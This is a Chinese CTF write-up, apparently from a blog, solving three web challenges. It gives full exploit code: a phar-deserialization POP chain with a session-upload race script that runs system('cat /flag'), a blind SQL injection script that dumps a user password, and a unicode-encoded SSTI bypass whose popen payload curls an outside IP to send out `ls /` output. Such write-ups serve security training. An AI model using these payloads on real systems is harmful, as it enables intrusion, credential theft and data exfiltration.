Ez to getflag

图片查看处可以任意文件读取

非预期

直接读取flag

f=/flag

预期解

file.php

<?php
    error_reporting(0);
    session_start();
    require_once('class.php');
    $filename = $_GET['f'];
    $show = new Show($filename);
    $show->show();
?>

upload.php

<?php
    error_reporting(0);
    session_start();
    require_once('class.php');
    $upload = new Upload();
    $upload->uploadfile();
?>

class.php

<?php
    class Upload {
        public $f;
        public $fname;
        public $fsize;
        function __construct(){
            $this->f = $_FILES;
        }
        function savefile() {  
            $fname = md5($this->f["file"]["name"]).".png"; 
            if(file_exists('./upload/'.$fname)) { 
                @unlink('./upload/'.$fname);
            }
            move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname); 
            echo "upload success! :D"; 
        } 
        function __toString(){
            $cont = $this->fname;
            $size = $this->fsize;
            echo $cont->$size;
            return 'this_is_upload';
        }
        function uploadfile() { 
            if($this->file_check()) { 
                $this->savefile(); 
            } 
        }
        function file_check() { 
            $allowed_types = array("png");
            $temp = explode(".",$this->f["file"]["name"]);
            $extension = end($temp); 
            if(empty($extension)) { 
                echo "what are you uploaded? :0";
                return false;
            }
            else{ 
                if(in_array($extension,$allowed_types)) {
                    $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
                    $f = file_get_contents($this->f["file"]["tmp_name"]);
                    if(preg_match_all($filter,$f)){
                        echo 'what are you doing!! :C';
                        return false;
                    }
                    return true; 
                } 
                else { 
                    echo 'png onlyyy! XP'; 
                    return false; 
                } 
            }
        }
    }
    class Show{
        public $source;
        public function __construct($fname)
        {
            $this->source = $fname;
        }
        public function show()
        {
            if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
                die('illegal fname :P');
            } else {
                echo file_get_contents($this->source);
                $src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
                echo "<img src={$src} />";
            }
        
        }
        function __get($name)
        {
            $this->ok($name);
        }
        public function __call($name, $arguments)
        {
            if(end($arguments)=='phpinfo'){
                phpinfo();
            }else{
                $this->backdoor(end($arguments));
            }
            return $name;
        }
        public function backdoor($door){
            include($door);
            echo "hacked!!";
        }
        public function __wakeup()
        {
            if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
                die("illegal fname XD");
            }
        }
    }
    class Test{
        public $str;
        public function __construct(){
            $this->str="It's works";
        }
        public function __destruct()
        {
            echo $this->str;
        }
    }
?>

可以看到没有unserialize,且没有过滤phar协议,考虑phar反序列化

最终的利用点是Show::backdoor中的include,利用session.upload_progress进行文件包含

审计一下,构造pop链

Test::__destruct-->Upload::__toString-->Show::__get-->Show::__call-->Show::backdoor

还有个问题,题目对文件内容进行了过滤,对应方法为利用phar文件在被一些压缩方式压缩后依然可以使用phar协议进行解析的特性,传一个压缩过后的phar文件进去

出题人还贴心地在Show::__call中加了个phpinfo

可以测试一下

构造phar文件

<?php
    class Upload {
        public $f;
        public $fname;
        public $fsize;
    }
    class Show{
        public $source;

    }
    class Test{
        public $str;
    }

$p = new Test();
$p->str = new Upload();
$p->str->fname = new Show();
$p->str->fsize = 'phpinfo';
echo serialize($p);

$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($p);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

将生成的phar以gzip方式进行压缩,后缀改为png,上传

然后f=phar://upload/364be8860e8d72b4358b5e88099a935a.png

image-20220731233253910

测试成功,那么只需把fsize的值改成sess文件名,然后条件竞争去包含即可

生成phar

<?php
class Upload{
    public $fname;
    public $fsize;  
}
class Show{
    public $source;
}
class Test{
    public $str;
}

$upload = new Upload();
$show = new Show();
$test = new Test();
$test->str = $upload;
$upload->fname=$show;
$upload->fsize='/tmp/sess_chaaa';
// $test->str = 'okkkk';

@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

exp

import sys,threading,requests,re
from hashlib import md5

# HOST = sys.argv[1]
# PORT = sys.argv[2]

flag=''
check=True
# 触发phar文件反序列化去包含session上传进度文件
def include(fileurl,s):
    global check,flag
    while check:
        fname = md5('shell.png'.encode('utf-8')).hexdigest()+'.png'
        params = {
            'f': 'phar://upload/'+fname
        }
        res = s.get(url=fileurl, params=params)
        if "working" in res.text:
            flag = re.findall('upload_progress_working(DASCTF{.+})',res.text)[0]
            check = False

# 利用session.upload.progress写入临时文件
def sess_upload(url,s):
    global check
    while check:
        data={
              'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working',system('cat /flag');?>\"); ?>"
              }
        cookies={
            'PHPSESSID': 'chaaa'
            }
        files={
            'file': ('chaaa.png', b'cha'*300)
            }
        s.post(url=url,data=data,cookies=cookies,files=files)



def exp():
    url = "http://60e092c1-6bb2-4e29-9fb7-596a334676a2.node4.buuoj.cn:81/"
    fileurl = url+'file.php'
    uploadurl = url+'upload.php'
    
    num = threading.active_count()
    # 上传phar文件
    file = {'file': open('./shell.png', 'rb')}
    ret = requests.post(url=uploadurl, files=file)
    # 文件上传条件竞争获取flag
    event=threading.Event()
    s1 = requests.Session()
    s2 = requests.Session()
    for i in range(1,10):
        threading.Thread(target=sess_upload,args=(uploadurl,s1)).start()
    for i in range(1,10):
        threading.Thread(target=include,args=(fileurl,s2,)).start()
    event.set()
    while threading.active_count() != num:
        pass

if __name__ == '__main__':
    exp()
    print(flag)

绝对防御

这里要用到JSFinder

JSFinder是一款用作快速在网站的js文件中提取URL,子域名的工具

image-20220801013130952

发现可疑url

内容如下

<script>

function getQueryVariable(variable)
{
       var query = window.location.search.substring(1);
       var vars = query.split("&");
       for (var i=0;i<vars.length;i++) {
               var pair = vars[i].split("=");
               if(pair[0] == variable){return pair[1];}
       }
       return(false);
}

function check(){
        var reg = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;
        if (reg.test(getQueryVariable("id"))) {
            alert("提示:您输入的信息含有非法字符!");
            window.location.href = "/"
         }
}
check()

</script>
 &nbsp  &nbsp  &nbsp 

猜测是sql注入,虽然有限制,但是是前端限制,没卵用

盲注得到flag

import requests
import time

url = 'http://7fe11540-8584-472a-a44e-a38b70969da1.node4.buuoj.cn:81/SUPPERAPI.php?id='
flag = ''

for i in range(1,50):
    left = 1
    right = 127
    mid = int((left+right)/2)
    while(left<right):
        # payload = '1 and ascii(substr(database(),{},1))={}'.format(i,mid)
        # payload = "1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctf'),{},1))>{}".format(i,mid)
        # payload = "1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))>{}".format(i,mid)
        payload = "1 and ascii(substr((select password from users where id=2),{},1))>{}".format(i,mid)
        req = requests.get(url+payload)
        time.sleep(0.3)
        if 'admin' in req.text:
            left = mid+1
        else:
            right = mid
        mid=int((left+right)/2)
    flag+=chr(mid)
    print(flag)


Harddisk

过滤了非常多的ssti

大致有这些

}}, {{, ], [, ], \,  , +, _, ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, url_for, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headers

过滤了大括号 {{,我们可以用 {%print(......)%}{% if ... %}1{% endif %} 的形式来代替,但是题目还过滤了 print 关键字,所以前者用不了了,只能用 {% if ... %}success{% endif %} 的形式来bypass了。但是这样的话payload执行成功后只会输出中间的"success"而不会输出执行的结果的,所以我们要用外带数据的方法来得到payload执行的结果。

由于还过滤了像 ]_request 这类常用的字符和关键字,我们可以用__getitem__attr() 配合 unicode 编码的方法绕过

attr用于获取变量

""|attr("__class__")
相当于
"".__class__

__getitem__用来调取字典中的键值

a['b']
相当于
a.__getitem__('b')

语句类似如下

{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"))%}success{%endif%}    # {%if("".__class__)%}success{%endif%}

知道怎么bypass后,接下来需要寻找含有popen的类

{%if("".__class__.__bases__[0].__subclasses__()[遍历].__init__.__globals__["popen"])%}success{%endif%}  -->>  

{%if(""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")(遍历)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen"))%}success{%endif%}  -->>  

# unicode 编码:
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(遍历)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e"))%}success{%endif%}
import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://86cda2e2-8d3d-4b3a-9cb0-9e6da8233df2.node4.buuoj.cn:81/"
    payload = {"nickname":'{%if(""|attr("\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(0)|attr("\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f")()|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(' + str(i) + ')|attr("\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")("\\u0070\\u006f\\u0070\\u0065\\u006e"))%}success{%endif%}'}

    res = requests.post(url=url, headers=headers, data=payload)
    if 'success' in res.text:
        print(i)
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u006c\u0073\u0020\u002f`\"")|attr("\u0072\u0065\u0061\u0064")())%}1{%endif%}    # curl 47.xxx.xxx.72:2333 -d \"`ls /`\"

但是我最后没复现成功,可能是hw期间不出网


官方wp

最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏